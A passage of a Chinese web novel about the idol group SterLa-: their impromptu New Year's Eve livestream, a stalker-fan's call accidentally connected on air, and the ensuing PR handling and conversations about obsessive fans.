“果然我的想法就在后面的游戏，舞会，找东西这些小细节里得到证实。”UP主推推眼镜，眉间放松下来，“你们看他们后面的每一个环节的画面氛围和镜头语言都充满了矛盾。这就是在暗示我们，这首歌并不是如我们想的是纯粹表达玩游戏的快乐，有很多潜藏的东西在细节中，只看一遍我不能完全分析出来。” “但可以确定的是，它绝对是一首反讽歌曲！”说着UP主兴奋起来，眼睛睁大，语气有些激动，“就好像我们的语文作业里常用的反衬手法，以乐景衬哀情。” “这首歌也是一样的！” “真有点东西啊。”禹安从地上爬起来，扒拉在吴星雨身上，“居然还真能看出来，导演还跟我们打赌说可能粉丝们可能都看不出来呢。” “反正要是我单纯听歌我是听不出来。”于立果有些无所谓，“大家听歌是为了寻求情绪共鸣，在这首歌里最大的共鸣情绪原本就是快乐。” “但我觉得也挺好的。”江翰飞看着视频里还在滔滔不绝解析他们最新MV，以证实自己猜测的UP主，“一般听众们也能欣赏，专业的人也能咀嚼出内在。” “既能满足大家的喜好，也能做我们想做的内容。” 90-98 第91章 “有点无聊。”禹安撑着下巴看着外面迅速往后疾驰的夜景，“还有一个半小时就到大年初一，这会儿回去也不知道能干什么。” 青川卫视的新春晚会舞台表演非常顺利地结束了。台下来的观众们大多不是他们受众的年轻人，多是跟着家里人来看表演。别说粉丝，估计知道SterLa-姓甚名谁的也就零星几个，幸好大家很有素质，该鼓掌的时候也没落下他们。 临时顶上的几人，自然也没有今晚的大谢幕和后续的宴会的事儿。因此表演完下台后回休息室简单收拾一二，直接让司机师傅开车回公司去。 “回去给叔叔阿姨打电话聊聊去。”吴星雨玩儿着手机，头也不抬地回道。 “谁家半夜十一二点给自家老爸老妈打电话啊？”禹安翻个白眼，“他们也得睡觉啊。” “除夕夜不用守夜吗？”江翰飞转头问道。 禹安嘟哝着说，“那都是年轻人的活儿，爸妈都一把年纪了，怎么可能还熬那么晚去守岁啊。” “意思意思得了。” 江翰飞半边侧脸隐没在车内阴影里，没再接话。 原本在后排闭目养神的于立果听见车内安静下来，虚着眼睛瞅了瞅前排禹安和江翰飞的后脑勺，忽然开口提议道，“那既然这样，不如我们待会儿做个直播？” “直播什么？”说起直播，吴星雨和禹安都来了兴趣。 反正闲着也是闲着，要回家也得明天再回。 “随便聊聊？”于立果耸耸肩，无所谓地说，“反正我们的粉丝应该不会有上年纪的叔叔阿姨们吧？” “我看行！”禹安撑起身体，扭头和后排的吴星雨说道，“老吴，你跟君姐他们说一声呗？” “君姐同意了。”吴星雨得意地摇摇手里的手机。 早在于立果刚提议开直播的时候他就给唐君君发了消息，现在正巧收到唐君君让他们自己把握内容和尺度的回复。 既然说要直播，那就是一起直播。到公司下了车，几人也懒得再去公司的直播间。 去公司直播间还得还得调灯光，调效果。大年三十的，工作人员早放假了，这会儿找谁去？ “叮~您关注的主播正在直播中哦~” 平台的直播提醒推送在开启直播的瞬间送达各个粉丝的手机。 “谁？谁直播？” “啊啊啊啊妈妈，我的团直播了？！！” “这还是我们那个三天两头不见人的崽子们吗？” “卧槽卧槽，真的是SterLa-开直播了！” 大年三十十一点半，距离零点还有三十分钟。 许多和自家老爸老妈或者同辈们一起在客厅守岁的，窝在床上玩儿手机的，跟朋友们一起在外撸串儿的，收到直播提醒后马不停蹄地点进SterLa-的直播间一探究竟。 不敢信，还是不敢信。 除了成员生日直播，平日里哪见SterLa-直播过啊？ 一分钟内直播间涌入大量流量，卡崩直播间的情景再现。 挤在沙发上的SterLa-几人面面相觑，“这什么情况？” 幸好江翰飞有经验，“应该是同一时间进来的人太多了，把直播间卡没了。” 吴星雨和禹安大眼瞪小眼，“那要怎么办？” 江翰飞挠挠头，他上次是技术人员重新多开了好几条线路才恢复的，现在没人可怎么办呢？ 摸摸鼻子，看着四双望着自己的眼睛，迟疑地说，“那要不重新试试？” 举世皆知重启大法好。主要现在除了重启也没别的办法。 吴星雨说干就干，江翰飞话音刚落，开启直播的按钮他就已经摁下。 另一头被卡黑屏的粉丝们心情大起大落。本来在开开心心过年，突然收到自己爱豆的直播提醒，立即往直播间冲刺，结果直接把直播间冲没了。 “不要逼我大年三十的求你们！求你们再开一次吧！” “本来孩子就难得直播一次，别这样啊！！” “今年的新年愿望，球球了。” “呜呜呜再给孩子一次机会吧。” 超话里，粉丝主页里一片哀嚎声。 他们是真不知道SterLa-还会不会再开直播，万一这次直播本来就是一时兴起或者一个乌龙事件呢？ 幸好没等两分钟，他们就收到了新的直播开播提示。 超话和粉群里一堆慢慢进人，不要挤的提示。也不知道是不是起作用了，这次虽然直播观看人数还是高，但直播间还是撑住了，没倒在黑屏里。 “大家晚上好呀！” “晚上好~” 五人见直播正常，七嘴八舌地跟粉丝们打着招呼。 没等观众们提醒他们一个个来，几个人一个对视，由吴星雨打头，“大家好，我们是——” “SterLa-！” 吴星雨接着说吉祥话，“今年大年三十，先祝大家：新春快乐！” 葛文山：“山河焕新。” 于立果：“年年有余。” 禹安：“福运安澜。” 江翰飞：“飞黄腾达？” 吴星雨愤愤瞪视四个摆弄自己名字的队友，“你们商量好了不带我？” “谁叫你第一个说？”禹安才不接受他的锅，“而且可是山哥第一个这么说的。” 吴星雨随着禹安的话瞪向葛文山，平时可很少敢这样看山哥，现在顺利成章当然得‘物尽其用’，“山哥！” “就临时想到了。”葛文山看着吴星雨瞪过来的眼神，知道他是装的在开玩笑，也忍不住给自己解释一句。 “诶诶，可别看我啊，我是跟着山哥说的。”于立果摇头晃脑，拒绝吴星雨的愤怒视线，“再说了，年年有余多常见啊。” 微微抬起眼皮，坏心眼地说道，“倒是福运安澜这种话我可没太听过。” 禹安闭着眼睛翻个白眼，说来说去又丢自己这儿了，“得了，你别瞪了，眼睛不累吗？” “嘶~”吴星雨使劲儿眨眨眼，“你别说，瞪人是还挺累眼睛的。” 用手揉揉眼，还不忘挑着话题不掉地，“那别的就算了。” “江翰飞你怎么回事儿，说个祝福语还用问号的？” 江翰飞原本在吴星雨一个个瞪过来的时候打好腹稿，要是待会儿吴哥问自己，自己就跟着于哥说。 飞黄腾达不就跟年年有余一样常见吗？ 没想到轮到他的时候话题突然拐了个弯儿，突然问上他标点符号了。 江翰飞一愣，眼睛快速眨动，脑子光速运转。 而屏幕前的粉丝们已经笑疯了。 【哈哈哈哈这就是SterLa-直播少的原因吗？】 【就是不带你！哈哈哈】 【我看出来了，这是怕我们直播看多了，知道SterLa-几个都是傻大儿。】 【救命，吴队去学一门绝学吧，叫瞪谁谁怀孕哈哈哈哈！】 【连我们葛老师都会接茬了，好欣慰的说。】 【于哥你好坏哈哈哈，我好喜欢！！】 【飞崽，真的，妈妈的傻大儿，看你那一脸空白的表情，妈妈怜爱了。】 突然灵光闪现，江翰飞试探着说道，“我是在犹豫马年只剩下十几分钟，新春祝福还说飞黄腾达好像不太合适。” “嗯？啥意思？”正准备开口解围的吴星雨被江翰飞一圈话说得有些懵。 “噗——”于立果突然笑出声，“哈哈哈哈阿飞，你不要说冷笑话啊哈哈哈哈。” 葛文山也勾起嘴角，显然是被娱乐到了。 这下反而剩下禹安和吴星雨两个人懵逼的对上眼睛，又齐齐转开，不想承认自己没搞懂。 【哈哈哈哈宝宝你也挺有才的。】 【不是，你们都懂了吗？】 【什么意思啊？】 【江翰飞果然没什么幽默细胞】 【真冷笑话】 【阿飞，姐姐这儿温度挺低的，别说冷笑话了。】 【有没有懂了的人说说啊，急死了。】 镜头前的几人像是终于想起屏幕前的粉丝们，看着他们刷屏，于立果好心的给没懂的粉丝们解释，“飞黄腾达里的飞黄是指神马。” 说完于立果又觉得自己说的话好像也有点奇异，“是说那种奇异，神异的马。” “因为今年是马年，明年是羊年。”于立果含笑，一边解释一边还觉得莫名的搞笑，“明白了吧？” 【江翰飞真有你的】 【羊年说马黄腾达不好，哦不对，是飞黄，真有你的。】 【好冷】 【楼上姐妹借你一件衣服。】 回过味儿来的粉丝都默默无语，哭笑不得。 “江翰飞，真有你的。”禹安学着弹幕的文字，假装阴阳怪气道。 【哈哈哈哈哈】 【安安宝贝，我的嘴替哈哈】 “行吧行吧。”吴星雨搔搔头发看向江翰飞，“算你过关了。” 一阵笑闹之后，几人挤在一起看着弹幕，时不时三两句地回复着弹幕里的话。 “为什么要现在开播？”吴星雨念出刷了好多次的弹幕。 “你们想听真话还是假话？”禹安狡黠一笑，反问弹幕。 【真话】 【真话】 【假话】 【都要听】 “都要听的叉出去，做人不能太贪心。”禹安摇摇头，“不过今天除夕，大赦天下。那就都说吧。” 禹安手肘捅捅江翰飞，“江翰飞你来说真话。” 江翰飞想了想，歪头说道，“因为无聊。” “你真实诚，让你说还真说啊。”禹安无语侧头看他一样。 “那我再说个假话。”江翰飞却笑起来，眼睛弯弯，“假话是我们想你们了。” “嗯，提示：多听我们的三专。” 这话一出，其余几人传来异样的目光，“唷，阿飞长进了啊？” “有进步有进步。”于立果趁机揉搓江翰飞的头发。 不用登台，也不是正式直播，把造型弄乱也没事。 粉丝们也很快会意，弹幕里又尖叫起来。 【阿飞！你跟谁学的！】 【啊啊啊江！翰！飞！你跟谁学的！】 【想我们就直说！不要拐弯抹角！】 【马嘟，谁懂啊，猛女落泪了。】 【哈哈哈哈不知道你们三专名字的，估计一头雾水了吧。】 江翰飞抿抿唇，见弹幕刷屏，心里也开始炸烟花。看网上的那些语录可算初有成效了！ 笑闹间，江翰飞的手机反复震动。 他一边笑着，一边不着痕迹的把手揣进兜里，拉出手机看一眼，又塞回去。 按掉。 第92章 【明年就是你们出道第三年了，好快啊！】 【懵逼，我们不是刚过完一周年吗？】 【今年还会有巡演吗？】 【四胎什么时候出来啊？】 “巡演应该会有吧？”吴星雨想到四专刚上线时，老板叫他们去办公室，说是后面还会有巡演的，“不过具体时间还不知道，也不确定是不是在今年。” 老板给画的饼，还是小心为上，先打个补丁。 “四胎是什么？”葛文山坐在一边，默默看着弹幕刷屏，突然看见一个奇奇怪怪的词汇，不由问道。 “就是我们的四专。”江翰飞凑近看一眼弹幕，肯定地说道。 这个词他在超话里见过很多次，粉丝们都这么称呼的。 【唷，飞崽还挺懂啊？】 【江翰飞，离你粉丝的圈子远一点！！】 【为什么从他嘴里说出来，有种莫名的羞耻感。】 【江翰飞接电话！！】 【谁这么早就在问四专啊，韭菜没当够吗？】 【啊啊啊葛老师怎么什么都问啊啊啊】 江翰飞看见某一条弹幕顿了顿，但没什么异样，只是笑容淡了些，抓过一边的抱枕搂在怀里。 “噫，居然还有江翰飞知道我们不知道的词。”禹安不服气，“再来几个大家的常用词。” “你跟他比这个不是在找虐吗？”吴星雨撑着脑袋，侧仰着头去看禹安，“你还不知道他？” 【听吴队感觉阿飞好像很懂我们的专业术语？】 【哈哈哈哈还专业术语】 【江翰飞，你小子，是不是天天偷窥我们。】 【好好好，第一个成为粉丝私生粉的男明星出现了！】 【别说那么难听，拿ss和江翰飞比？】 吴星雨见弹幕要吵架的样子，正巧手举着手机也累了，正想换个姿势，江翰飞一只手接过他手里的手机，示意他歇会儿。 甩甩手，吴星雨笑笑，引开弹幕的话题，“诶你们知道吗？江翰飞有一项从来没给你们展露过的技能。” 其余几人闻言望过去，见吴星雨冲他们挑眉眨眼，瞬间明白是什么。 “噢——”禹安加入进来，“你说那个呀~” “嗯，确实厉害。”葛文山中肯评价。 于立果也摸摸下巴，摇摇头，“确实是没想到阿飞还会这个。” 江翰飞见吴星雨表情搞怪，还冲他挤眉弄眼，也知道是什么。 他自认没什么天赋和才能，能拿出来说的就那几样。 另一端的粉丝们见几人装模做样，一副神神秘秘的样子，好奇得跟被人挠了脚底板似的，浑身不得劲儿，抓耳挠腮想知道。 【急急急急急！】 【快说快说】 【我是急急国王】 【有没有好心人说说啊，孩子要好奇死了。】 “就那个嘛~”禹安坏心眼的不想说，做作地拉长了语调。 “嗯，就那个。”葛文山似乎也从逗粉丝这事儿里得到乐趣，第二轮也加入进来。 “真想让阿飞给大家表演一下啊~”于立果一副可惜的样子。 吴星雨也顺着把大家的好奇心和注意力都引到江翰飞身上，“就是就是，不知道阿飞肯不肯呢~” 江翰飞拿着手机哭笑不得，正准备说话，兜里的手机又开始震动起来。 离他最近的于立果隐隐感受到一点震动，从江翰飞手里接过手机，示意他先看看电话。 不过江翰飞拒绝了，伸进兜里再次按掉电话，神态自若地说道，“其实真算不上什么，大家想看的话我可以简单的表演一下。” 【看！】 【就知道还是崽崽你最乖，其他四个都是叛逆崽。】 【乖宝宝，麻麻亲亲】 “咳咳~” 江翰飞清清嗓子，“旧窗棂，檐下霜，雨打声声忙——” 婉转的唱腔潺潺而出，声音清脆又悠然，带着一种天然纯净的感觉。 哥几个挤在一起互相挤眉弄眼，于立果甚至一只手闲适地在腿上敲起拍子。 屏幕前的观众们却被震傻了。 【不是？这是江翰飞的声音？】 【啊啊啊啊啊卧槽女腔】 【伪音？！！！】 【江菡菲姐姐！！】 【真的是他在唱吗？】 【娘炮】 【崽啊！有这技能干啥藏着掖着的！你有什么是麻麻不能知道的？】 江翰飞只是随意展示，没打算多唱。唱过几句就停下来，身体靠近屏幕，想去看大家在说什么。 “被吓到了吧？”禹安得意洋洋地跟粉丝们炫耀，仿佛刚刚惊艳众人的女声是他唱的似的，“这可是阿飞的必杀技。” “别说你们了，我们都听过好多次，现在偶尔听到也觉得震撼。” 吴星雨和葛文山点头赞同。 江翰飞无所谓的挠挠头发，自己不觉得能唱女腔有什么了不起的。 “也就江翰飞觉得无所谓，”禹安伸手去接江翰飞举着的手机，左手轻轻撞了一下他，朝他看过来一眼。 江翰飞对上他的眼神一顿，感受到自己衣兜里的震感，顺势把手机交给禹安拿着，自己则是稍稍后退起身坐到沙发上，听禹安在哪儿夸张地讲着当初是怎么发现江翰飞会唱女腔的事儿。 手机直播界面不大，五人后来是挤在沙发和茶几之间的缝隙里，才堪堪将几人都装进屏幕里。 江翰飞一起身，整个人大半都退出了屏幕，只剩两条大长腿在委屈挤在于立果和禹安中间扎眼睛。 【阿飞腿好长prprpr】 【葛老师别玩儿手机了，快看镜头。】 【？怎么倒了杯可乐回来我崽不见了。】 【哈哈哈哈居然是因为二专副歌的高音快唱破音了才知道自己会唱女腔。】 【安安宝贝你好美~】 嗯，确认自己动作直播间粉丝们看不到，江翰飞从兜里拿出手机一看，32个未接电话，78条短信。 动作熟练的把号码拉黑，短信看都不看，一键清空。 还以为真有人找。果然还是这些私生。 江翰飞皱皱眉。如果再换手机号的话，那些老前辈们该烦到底是找江翰飞哪个版本的微信了。 正想着怎么办好，腿上忽被人拍了几下，“阿飞别秀你的大长腿了！快来一起新春倒数！！” 他从怔愣中回神，揉揉脸恢复神色，拍拍脸颊恢复情绪，等笑容重新挂上脸，重新缩回于立果和禹安两人的夹缝中。 眼神温和平静，带着笑意，嘴角挂着开心的弧度。 【妈妈宝宝回来啦！】 【江翰飞别拉黑我】 【这么一看，江翰飞确实显得好小。】 【新年快到了！】 “新年新气象，今年是我们共同跨年的第一个年头。”于立果温和说道，“希望以后的春节也能和大家一起度过。” “要一直在一起！！” “倒计时，1074” 3 【SterLa-永远闪耀！】 【宝贝们平平安安】 【勇攀高峰！】 2 “祝大家升职加薪！” “幸福美满~” “祝我们走上更大的舞台！” 1 【给我一张世巡票吧球球了！！】 【唯一的心愿，我的宝宝幸福，小人莫来沾边！！】 五人异口同声：“新春快乐！！！” 【新春快乐！！】 【撒花！！！】 随着倒计时归零，窗外烟花轰然响起，炸得半边黑漆漆的深夜被照得通红，烟雾缭绕在空中，厚厚的云遮住月亮。 蹲在客厅直播的几人听不见窗外响动，但有耳尖的粉丝们却听见了另一个声音。 ‘啊啊啊啊啊啊接通了接通了！！’ “我爱你！！江翰飞江翰飞！！” 【卧槽？！】 【？女声，是谁？】 【你们？！！】 【谁的手机？】 几人也诧异地望向声音来源，又不着痕迹的挪开，假装没找到是哪儿来的声音。 禹安拿着手机的手微微一抖，下一秒扯出一个大大的微笑凑到镜头前，“都一起跨完年了，那我们今天的直播就到这儿吧！” “大家新春快乐哦~” 说着另外一只手挥挥，拿着手机的手飞快点了下播键关闭直播间。 下播很简单，按键一按，手机变成黑屏。刚刚还在手机里热热闹闹的两拨人断了联系。 一波被留在直播间内的粉丝们被强制弹出，茫茫然一会儿，又齐刷刷冲向另一个网络平台。 而这头的几人却挤在一起没人动作。 宿舍的隔音很好，这是他们喜欢住宿舍的原因之一。 现在却因为听不见任何声响，让屋内的的氛围像是踏入了一片禁音区，最常见的机械杂音都静默下来。 凝固的空气终究被葛文山打破，平时说话最少的人成了这场沉默氛围里第一个开口的人，“什么情况？” 只是平常的询问，没有诘问，没有责备。 温和又沉稳的语调让江翰飞略微放松了一些。 身边的于立果和禹安发现他的放松对视一眼，于立果将手搭上江翰飞的肩膀拍拍，并不催促他回答。 江翰飞正纠结着，就听吴星雨大声咧咧道，“阿飞你小子，是不是谈恋爱了？” 啊？ 江翰飞瞬间抬头，差点与想凑头过来的禹安撞个正着。 居然会觉得我是谈恋爱了？！ 江翰飞脸上的惊讶神色和不可置信的眼神不作假，吴星雨瞬间了然自己估计是猜错了。 不是谈恋爱就好，不是谈恋爱就好。 “老吴你是不是今天一天没睡脑子懵了啊？”禹安没好气道，“这不明摆着是私生吗？” 江翰飞惊讶的神色还没来得及褪去，这下又看向了禹安。 对方见他看去，直白地说，“你那表现不是明摆着的事儿吗？” "大家都看出来了，就是想看你怎么说。" 说一千道一万，这些事情都是个人私事儿，他们之间虽然关系好的跟兄弟一样，但也得有些边界感。 就像之前江翰飞上黑热搜被叫去公司，第二天早上才回来。 虽然他们抓耳挠腮地想知道江翰飞是怎么跟公司交涉，又是怎么处理的，但江翰飞真不想多说，他们也不会非要刨根问底。 江翰飞抿抿唇，他原本想自己解决，找君君姐他们说一下的。 但现在直播的时候不小心按到了接通键，还不知道网上会怎么说。现在必须得让一荣俱荣，一损俱损的大家知道啥情况。 “嗯，就是私生。” 啊，果然。 几人心里想着。 “一直换号打我手机，还给我发短信。拉黑删除都没用。”说着，江翰飞声音里不由自主地带上些委屈和不知所措的茫然，“换手机号也不行，还是被知道了。” 几人点点头，江翰飞换号他们是第一个知道的，的确这这个月刚换成现在的号，给他们说的理由是原来的号不方便用了。换一次号，就得重新存号码，加好友，非常麻烦。 原本SterLa-五人的群现在变成了六人群，多出来的那个都是江翰飞以前的微信号。 “那你怎么一直不跟我们说呢？”禹安恨恨，也不知道一个人在那儿憋着干嘛。 吴星雨不客气道，“说的跟你说了你能解决似的。” 禹安语塞。 的确，整个行业都被私生所扰，几乎没人能解决。 那些人跟蟑螂一样，你以为清理干净了，结果下次发现又有一窝。 第93章 大年三十的零点一过，大年初一的凌晨，在SterLa-下播之后，无数带着疑问的粉丝聚集在各个粉群、超话和帖子里，讨论着突如其来的新春直播，以及在这个新春直播里又突如其来的女声。 “刚刚的新春直播里，是不是有女声啊？还是我听错了？” “有没有人出来解释一下，SterLa-今天新春直播里出现的女声是什么情况？” “笑死，禹安着急下播的样子，不知道的还以为是他塌了。” “指路帖子，有人把做了音频分析，确实有一个女声，说的话听不太清楚，好像是叫的江翰飞？” “大年初一，不会给我的新年礼物就是我担塌房吧？” “能不能对他有点信心” “在没有看到证据之前，我不会信的。” “还要什么证据，视频音频还不能算证据吗？” “不明白，就是有人给他电话又能说明什么呢？” 唐君君看着自己页面上显示的讨论，一边听着电话那一头吴星雨小心翼翼的声音，无语地揉揉自己额头。 这个直播权限不该放给他们的。 要不是念着他们三专打歌和签售太少，这次回归和粉丝的接触不够，平日里这些人也靠谱，今天晚上不会同意他们开直播。 就放心一次，今天直播就出问题。 “让江翰飞把事情经过和情况全部整理发给我。”唐君君收拾心情，虽然大年初一大半夜被电话吵醒。该处理的还得处理，“网上的话少看。” 挂断电话，唐君君当即又给公关部负责人去电。 他们的电话都是24小时开机，保持通畅。公关部还有网络上专用的监控舆情的软件，设置SterLa-相关人员的名字，昵称等作为监控关键词，如果带有相关关键词的词条热度陡然上升或者上升到一个高度，他们自然会收到提醒。 这才是他们为什么能对网络上的舆论反应这么快的关键，有时候大半夜也能快速反应过来处理事情。 “江翰飞今年是犯太岁吗？”那头的人很快接通，不客气地问道，“找个时间让他拜拜去吧。” 唐君君听她这么说，明白她已经了解了情况，“大晚上我也不跟你绕圈子，这次预计要怎么处理，什么时候能处理好？” 说着，唐君君转手又把江翰飞刚发给她的情况说明转给对方。 “江翰飞自己怎么说的？”对方反问，语气不善，“他不是有主意得很吗？这次没意见了？” “都过去了还记着呢？”唐君君反而笑起来，稍稍安抚，“上次那件事和这次也不一样。他就一个老老实实做偶像的人，懂什么公关。” 公关部负责人在电话这头翻个白眼，心想少给老娘戴高帽，能有什么不一样？ 难道上次是因为粉丝犯事儿就不一样？ 唐君君的声音从电话里传出，“今天大年初一，网上活动的人少，直接撤热搜可行吗？” 负责人抱着电脑盘腿坐在自己客厅的沙发上，外面还隐隐有烟花的痕迹，她快速拉完一遍情况，回道，“这种在网上锤死有女声出现的情况，不明不白地撤热搜跟直接锤死他是在恋爱有什么区别？” “不要小看网友们脑补和起哄的能力，更何况江翰飞现在的情况，谁不想上来踩几脚。” “不是我小心眼，这件事最好的处理，还真得让江翰飞来跟我商量。”她略一思索，想到一个绝佳的澄清方式，说不准就能干一波大的，“开个会议，拉他进来一起。” 这边的江翰飞听见吴星雨给唐君君打电话，默默把头转向窗外。 窗外还漆黑一片，零点时照红半边天的烟花已经杳无踪迹。 也许现在有光的话，能看见厚厚的烟花留下的烟雾；打开窗的话，还能闻到弥漫在空气里浓浓的硝烟味。 江翰飞看着窗户玻璃上倒影出来的自己的身影和神情，出神想起在他在换手机号之前和Hitting的秦正浩聊过一次。 他和秦正浩从第一次Hitting综艺上认识之后，私下两人聊得挺投缘，一方面两人都是Vocal，又都是队里人气比较高的成员，另一方面，他俩都是内敛的性格，在怎么应对一些社交场面的情况，秦正浩颇有心得，也挺喜欢江翰飞这个弟弟，对他提点不少。 当时给秦正浩发消息，说自己要换手机号了，麻烦他改一下存的手机号和微信号时，秦正浩直接回了一句；“对私生，换手机号也没用。” 一语道破他换号原因，江翰飞猜测，“浩哥也换过？” 说完江翰飞就觉得自己问了个蠢问题，秦正浩是大热的前辈，又出道多年，怎么可能没遇见过私生。 果然秦正浩回道：“你现在加的已经是我第四个手机号了。” “要换就趁早。” 后来秦正浩给他讲了一通他们换号的问题。 做他们这一行的是不能随意换自己联系方式的。 名气越大，越不能随意换。 想想在各个场合下认识的人，大部分是圈内人。随意换了手机号，这些人怎么办？ 你是给新的联系方式还是不给呢？要怎么给？ 给的话，和现在的情况别一无二，不知道是谁会泄露你新的联系方式。 若是不给，比地位低的，有求于你的遇上了只会面上笑着说，“老师贵人多忘事，我们重新加个联系方式吧。” 背地里也许转身就跟别人吐槽XXX人小脾气大，直接删人不给面子。一个人声音小，许多圈内人一传，在圈内的口碑你是要还是不要呢？ 同理，你能让你的投资商，认识的各位制作人老前辈，导演，编剧等重新存你的联系方式吗？ 有些人你站在他面前，他都当没看见你，更何况是手机联系。 换手机号就等于和这些人直接断开联系，辛辛苦苦积攒下来的联系方式等于清空。 秦正浩敢换，也是在Hitting和他还没那么有名气，手机里的联系人堪堪就那几个，现在再让他换，他也是换不了的。 “阿飞，君君姐让你把情况编辑好发给她。”吴星雨挂断电话，说的话把江翰飞从出神的回忆里拉回现实。 “好的。”江翰飞应道，“吴哥你们先去休息吧，我这儿先把情况发给君君姐再睡。” 吴星雨几人熟知江翰飞的性格。 他们在这儿不睡觉陪着江翰飞反而会让他有压力，于是点头道，“行，我们先去睡觉了，你也别熬太晚。” 说完其他几人起身回屋洗漱休息，走之前，于立果拍拍江翰飞肩膀，“不是你的问题，不要把错都揽到自己身上。” “不要想太多。” 听到于立果金句的江翰飞微微一笑，心里放松一下，面上带出笑来，“放心吧于哥，我等会儿发完就去睡觉。” 于立果点点头，回自己房间去。 禹安从他俩房间探出个头来，“江翰飞你搞快点哈，晚了会吵醒我的。” 江翰飞也笑着点头应下。 等其他人回到自己的房间，客厅里重新回到一片寂静，江翰飞坐在沙发上，把前因后果编辑好发给唐君君。 “就是在我换号之前就频繁给我打电话的那个私生。”江翰飞一字一句地编辑，“后来发现她其实是我认识的一位站姐，在我们二专打歌的时候经常来看打歌录制。” “但是巡演期间和年前参加音乐节和各种晚会的时候，发现她有越界的行为。” 江翰飞指尖一顿，蓦然想起二专的上班路和下班路，对方眼睛里热切又专注的追逐和闪闪发光的喜爱。 又是什么时候发现不对的呢？ 大概是他们巡演的最后几场，她一路跟他们进到关内。 再后来，她不仅进到关内，还跟他坐上了同一趟航班。直到最近，他们年前到处飞往各地参加音乐节时，她开始尝试带着相机从普通舱想进到他们的头等舱，虽然最后空乘发现，将她拦在外面。 当时江翰飞转头和她对上眼神。那双眼睛里依旧是追逐和惊喜，但却显得这么的疯狂，让他呆愣在座位上久久不能回神。 就那次之后，他登上自己的小号，把这个所谓的站姐取关了。 因为对方能拍到不少正常站姐不会拍的关内图，机舱图，后台图，让一些不明情况的小粉丝们热烈追逐着这位站姐，不，现在应该说是私生；她的粉丝量居然还积累得越来越多。 哪怕超话和官方后援会账号早将对方定性为私生，但也阻拦不住无数粉丝中一部分难以控制自己想知道自己偶像更多消息，更多面的粉丝们。 乐狮越是控制他们的曝光率，粉丝们越是追逐着难得一见的偶像信息。 “到最近，换号之后对方除了打电话，现在还给我发短信和彩信，短信彩信内容。”江翰飞继续编辑。 能把打电话的人和那个站姐对上号，也是对方主动把拍到的各个场合的他用彩信的方式发给他，问他拍的好不好看，问他能不能只给自己看。后来还会发她自己的照片，发她把她和自己PS在一起的图片，问他是不是很般配。 “今天直播的时候一直拨打我电话，快结束的时候我想按掉来电但是不小心按到了接通键” 江翰飞编辑完，给唐君君发去。随后切换到社交媒体平台，找到之前已经取关的对方账号，点进主页。 果然。 对方已经在隐晦的炫耀和他的通话记录：“今天和男朋友电话了，很开心。” 下面不明真相的粉丝还有在祝她和她所谓“男朋友”久久的。 江翰飞没由来觉得有点恶心。 第94章 “嗡嗡嗡~~”手机传来震动，页面跳出唐君君的名字。 三个人的会议很快成型。 “哟，我们有钱的大明星又出问题啦？” 刚加入会议通话的江翰飞听到了公关部负责人的调侃。 他摸摸鼻尖，大年初一的凌晨让人家给他处理事情，本就是他理亏，哪里会说什么反驳，只默默地叫人打招呼。 公关部负责人也没多跟他计较，她也就是开个玩笑出出气，现在得切入正题，“这件事儿有几种处理方式，我跟你大致说一下，你看看你要哪种。” 能这么沟通也就是她和唐君君关系好，加上给SterLa-公关过多次，和他们的关系也算不错，才会这么说话。搁其他艺人身上，半夜给你处理是我的工作，但选择什么样的方式，最后处理成什么样也是自己的工作范畴，怎么可能还会给选项怎么处理。 还是问艺人的选项意见。 江翰飞知好歹，低声应好之后安静听着对方给他讲处理方式。 听完最后一个办法，江翰飞沉默一会儿，轻声问，“姐，可以给我点时间吗？” “我还是不想把这件事告诉大家。” 公关部负责人一口气堵在胸口不上不下。最后一种方式是她能想到的最佳的处理方式，不仅能帮江翰飞处理清楚这次的遗留问题，甚至能帮他的名声更上一层楼。 奈何江翰飞是个二傻子。 “那我们就按第一种走吧。”会议里一直没说话的唐君君开口定下，“现在正在过年期间，虽然放假但网络上的流量一般，有什么料现在放出去太浪费。不如存一存，有需要的时候再用，你觉得呢？” 负责人沉思两秒。 虽然被江翰飞气到，但是不得不承认唐君君说的也有一定道理。 现在放出去，虽然肯定能把消息顶上热搜第一，但这几天网络活跃度确实不高。而且大半夜的，既然当事人不愿意，她也懒得掰扯，“晚点我会压词条，配合官方账号出面澄清，同时公关部会帮你把控娱乐风向。” “最后的结果就是大家知道这是私生的骚扰电话。其他的就没有了。” “明白的。”江翰飞平静回答，捏着手机，脑子里反复浮现她们一双双看着他的眼睛。 挂断电话，江翰飞望望卧室房门，几个哥应该都睡下了。 想了想没再卧室，从窗边回到沙发边，径直躺下。 黑漆漆的客厅里只有点点月光透过落地窗照进来，客厅关闭的顶灯轮廓模模糊糊，江翰飞就看着那个轮廓，闭上眼睛没一会儿又睁开。 睡不着。 他还在想私生的问题。 翻来覆去还是想不通，他摸出手机在网上搜索，试图找到一些能帮助他思考的信息。 最后在微信列表里看到了秦正浩的名字。 犹豫好一会儿，不知道是不是今天晚上发生太多事，他的意识不够理智清醒，等他的消息已经发过去后他才反应过来今天是大年初一，现在甚至是凌晨。 尴尬感油然而生，想撤回已经过了时间。 叹口气，把手搭在自己额头上。 真是昏头了。 “嗡嗡~” 手机振动，秦正浩大半夜竟然在线，而且回复迅速。 秦正浩：“大晚上思考这么哲学的问题？” 江翰飞赶紧回复：“不好意思秦哥，刚刚脑子昏了，凌晨给你发信息打扰到你休息了吧。秦哥继续休息吧，没什么事儿。” 果然是典型的江翰飞式回复。 秦正浩看到消息笑笑，“没事，我们在国外拍MV，现在还是早上，他们正拍着单人镜头，正好有时间跟你聊聊” 接着秦正浩就看见对方正在输入的标识挂在对话框上。 靠在阳台上，秦正浩抽出一根烟点上。现在是早上是真的，昨晚拍了通宵也是真的，他得找点东西提提神。 年纪大了就是不能熬夜，不像刚出道的这小子，年纪小，国内已经凌晨三点多了吧？ 这么晚不睡觉还有精神考虑哲学问题。 就两口烟的时间，正在输入的状态停下，秦正浩看着江翰飞最新发来的消息，“秦哥，为什么有的粉丝会变成私生呢？” 秦正浩又笑，这种话也只有江翰飞会问得出来。 “因为是人总有私心。” “我们对于所有粉丝而言，不管以任何方式，我们能提供的都是情绪价值。” “也许我们是他们在某一方面的情绪寄托，在精神上扮演着某一种角色，参与着他们的精神生活。”秦正浩深深抽一口烟，“对我们有多喜欢取决于他们自己对这个捏造的精神角色的喜欢程度。” 